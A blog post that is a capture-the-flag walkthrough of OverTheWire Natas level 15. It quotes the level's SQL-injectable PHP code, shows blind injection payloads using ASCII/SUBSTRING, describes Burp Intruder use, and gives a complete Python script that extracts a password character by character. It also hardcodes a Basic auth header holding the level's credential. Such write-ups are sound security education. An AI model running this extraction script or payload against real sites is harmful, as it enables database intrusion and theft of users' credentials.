SecBlog

A Simple b(log) of interesting things

Natas Level 15

Pushing things further, this level deals with Blind SQL injection. We’ll make a python script as well.

Quest

We are presented with a simple page that checks if a user exists or not. Level 15 Image

Backend code is similar to previous level with some important changes

<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas15', '<censored>');
    mysql_select_db('natas15', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }
    // If there is no error, we will get one of two response, depending on user input
    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>


Solution

From the source code, we can see that
 - Again unsanitized user input is inserted into the query.
 - Although no output is displayed after query execution, we can make use of blind SQL injection.
 - When query succeeds, we get user exists, and when it fails, we get user doesn’t exist msg.
 - Additionally, we can see that there is a debug parameter, which displays query on screen.
 - Lastly, there is a users table with username and password column.

Here is what was done.

  1. Firstly, check if user natas16 exist, it does, and we want its password.
  2. Below is log from local linux lab to make use of ascii and substring functions to smuggle the password.
-- Testing query in Lab
-- Our Sample table
mysql> select * from books;
+---------+--------------+-----------+----------+
| book_id | name         | author    | released |
+---------+--------------+-----------+----------+
|       1 | Big Magic    | Elizabeth |        1 |
|       2 | Brown Farm   | AK        |        0 |
|       3 | Malgudi Days | R.K.N     |        1 |
+---------+--------------+-----------+----------+
3 rows in set (0.00 sec)

-- We compare first character of author name with ascii code  
-- Below is a successful attempt
mysql> select * from books where name = 'Big Magic' and ASCII(SUBSTRING(author, 1, 1)) = 69;
+---------+-----------+-----------+----------+
| book_id | name      | author    | released |
+---------+-----------+-----------+----------+
|       1 | Big Magic | Elizabeth |        1 |
+---------+-----------+-----------+----------+
1 row in set (0.00 sec)

-- Below is an unsuccessful attempt
mysql> select * from books where name = 'Big Magic' and ASCII(SUBSTRING(author, 1, 1)) = 70;
Empty set (0.00 sec)

Lets focus on second query

select * from books where name = 'Big Magic' and ASCII(SUBSTRING(author, 1, 1)) = 69;

SUBSTRING(author, 1, 1) refers to the first character and ASCII converts that first character to its ASCII code. So, Above query will return a row if the ASCII code of first character of the name of author is equal to 69, i.e. E

We build our payload accordingly:
Our payload -> GET /index.php?username=natas16" AND ASCII(SUBSTRING(password,1,1))=65;#&debug=true HTTP/1.1
Here, we are checking if the first character of password of user natas16 has ascii code of 65 .i.e. A

Below is screenshot of our failed attempt in Burp. (Note the response user doesn’t exist)

Level 15 solution

Below is a successfull attempt, our password begins with ‘W’, ascii code 87. (Note the response user exists)

Level 15.1 solution

Instead of manually searching for password char by char, we use Burp intruder.

We manually change password(1,1) -> password(2,1) for finding second character and so on. This process will repeat till we find all characters. Here password is 32 characters long. On 33rd attempt, intruder will not find any character and we know that we are done.

Intruder settings for the same are shown below Level 15.2 solution

Intruder Payload settings are below. Now we start attack!. Level 15.3 solution

Below is the screenshot of discovering the second password character. Level 14.4 solution

We repeat this process 32 times to get the complete password for next Level.

It took me about an hour to smuggle password char by char with Burp community addition, so i decided to write a script to do the same, just for the fun of it.

This script does blind mysql injection till all password characters are revealed

 1 #!/usr/bin/env python3
 2
 3 import requests
 4 # Should have used auth, but it works for now.
 5 headers = {'Authorization': 'Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=='}
 6 
 7
 8 password = ""
 9 pos = 1
10
11 while True:
12     if password:
13         payload = f'natas16" AND password = \'{password}\' ;#'
14         data = {'username': payload}
15         response = requests.post('http://natas15.natas.labs.overthewire.org/', data=data, headers=headers)
16         if response.status_code == 200  and "This user exists" in response.text:
17             print(f"\r{password}", end='', flush=True)
18             break
19
20     for i in range(33,128):
21         print(f"\r{password}{chr(i)}", end='', flush=False)
22         payload = f'natas16" AND ASCII(SUBSTRING(password,{pos},1)) = {i};#'
23         data = {'username': payload}
24         response = requests.post('http://natas15.natas.labs.overthewire.org/', data=data, headers=headers)
25         if response.status_code == 200:
26             if 'This user exists.' in response.text:
27                 password += chr(i)
28                 print(f"\r{password}{chr(i)}", end='', flush=True)
29                 #print(password)
30                 break
31             elif "This user doesn't exist" in response.text:
32                 continue
33             elif i == 127:
34                 break
35             else:
36                 print('Program flow should not reach here. Exiting')
37                 #return 2
38         else:
39             print(f"Status code: {response.status}")
40     pos += 1
41 # todo: refactor the code


I Added a cool effect that displays the found characters and also searches for next character.

Below is a sample run of the script

Thats all folks!


« Back